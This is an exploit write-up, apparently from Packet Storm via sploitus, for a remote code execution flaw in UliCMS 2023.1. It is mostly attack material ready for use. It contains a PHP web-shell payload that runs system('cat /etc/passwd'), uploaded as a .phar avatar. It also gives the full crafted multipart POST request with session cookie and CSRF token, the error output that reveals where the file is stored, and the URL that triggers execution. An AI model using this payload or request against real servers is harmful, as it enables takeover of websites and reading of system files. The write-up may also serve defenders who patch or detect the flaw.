Exploit for UliCMS 2023-1 Sniffing-Vicuna Shell Upload

## https://sploitus.com/exploit?id=PACKETSTORM:172175
#Exploit Title: Ulicms-2023.1 sniffing-vicuna - Remote Code Execution (RCE)  
#Application: Ulicms  
#Version: 2023.1-sniffing-vicuna  
#Bugs: RCE  
#Technology: PHP  
#Vendor URL: https://en.ulicms.de/  
#Software Link: https://www.ulicms.de/content/files/Releases/2023.1/ulicms-2023.1-sniffing-vicuna-full.zip  
#Date of found: 04-05-2023  
#Author: Mirabbas Ağalarov  
#Tested on: Linux   
  
2. Technical Details & POC  
========================================  
steps:   
  
1. Login to account and edit profile.  
  
2.Upload new Avatar  
  
3. It is possible to include the php file with the phar extension when uploading the image. Rce is triggered when we visit it again. File upload error may occur, but this does not mean that the file is not uploaded and the file location is shown in the error  
  
payload: <?php echo system("cat /etc/passwd"); ?>  
  
poc request :  
  
POST /dist/admin/index.php HTTP/1.1  
Host: localhost  
Content-Length: 1982  
Cache-Control: max-age=0  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYB7QS1BMMo1CXZVy  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/dist/admin/index.php?action=admin_edit&id=12&ref=home  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: 64534366316f0_SESSION=g9vdeh7uafdagkn6l8jdk2delv  
Connection: close  
  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="csrf_token"  
  
e2d428bc0585c06c651ca8b51b72fa58  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="sClass"  
  
UserController  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="sMethod"  
  
update  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="avatar"; filename="salam.phar"  
Content-Type: application/octet-stream  
  
<?php echo system("cat /etc/passwd"); ?>  
  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="edit_admin"  
  
edit_admin  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="id"  
  
12  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="firstname"  
  
account1  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="lastname"  
  
account1  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="email"  
  
account1@test.com  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="password"  
  
  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="password_repeat"  
  
  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="group_id"  
  
1  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="secondary_groups[]"  
  
1  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="homepage"  
  
  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="html_editor"  
  
ckeditor  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="admin"  
  
1  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="default_language"  
  
  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy  
Content-Disposition: form-data; name="about_me"  
  
  
------WebKitFormBoundaryYB7QS1BMMo1CXZVy--  
  
  
  
response:  
  
Error  
GmagickException: No decode delegate for this image format (/var/www/html/dist/content/tmp/645364e62615b.phar) in /var/www/html/dist/vendor/imagine/imagine/src/Gmagick/Imagine.php:67  
Stack trace:  
#0 /var/www/html/dist/vendor/imagine/imagine/src/Gmagick/Imagine.php(67): Gmagick->__construct()  
#1 /var/www/html/dist/App/non_namespaced/User.php(1110): Imagine\Gmagick\Imagine->open()  
#2 /var/www/html/dist/App/non_namespaced/User.php(1089): User->processAvatar()  
#3 /var/www/html/dist/content/modules/core_users/controllers/UserController.php(124): User->changeAvatar()  
#4 /var/www/html/dist/App/non_namespaced/Controller.php(82): UserController->updatePost()  
#5 /var/www/html/dist/App/non_namespaced/ControllerRegistry.php(67): Controller->runCommand()  
#6 /var/www/html/dist/admin/index.php(66): ControllerRegistry::runMethods()  
#7 {main}  
  
Next Imagine\Exception\RuntimeException: Unable to open image /var/www/html/dist/content/tmp/645364e62615b.phar in /var/www/html/dist/vendor/imagine/imagine/src/Gmagick/Imagine.php:73  
Stack trace:  
#0 /var/www/html/dist/App/non_namespaced/User.php(1110): Imagine\Gmagick\Imagine->open()  
#1 /var/www/html/dist/App/non_namespaced/User.php(1089): User->processAvatar()  
#2 /var/www/html/dist/content/modules/core_users/controllers/UserController.php(124): User->changeAvatar()  
#3 /var/www/html/dist/App/non_namespaced/Controller.php(82): UserController->updatePost()  
#4 /var/www/html/dist/App/non_namespaced/ControllerRegistry.php(67): Controller->runCommand()  
#5 /var/www/html/dist/admin/index.php(66): ControllerRegistry::runMethods()  
#6 {main}  
  
  
4. Go to /var/www/html/dist/content/tmp/645364e62615b.phar (http://localhost/dist/content/tmp/645364e62615b.phar)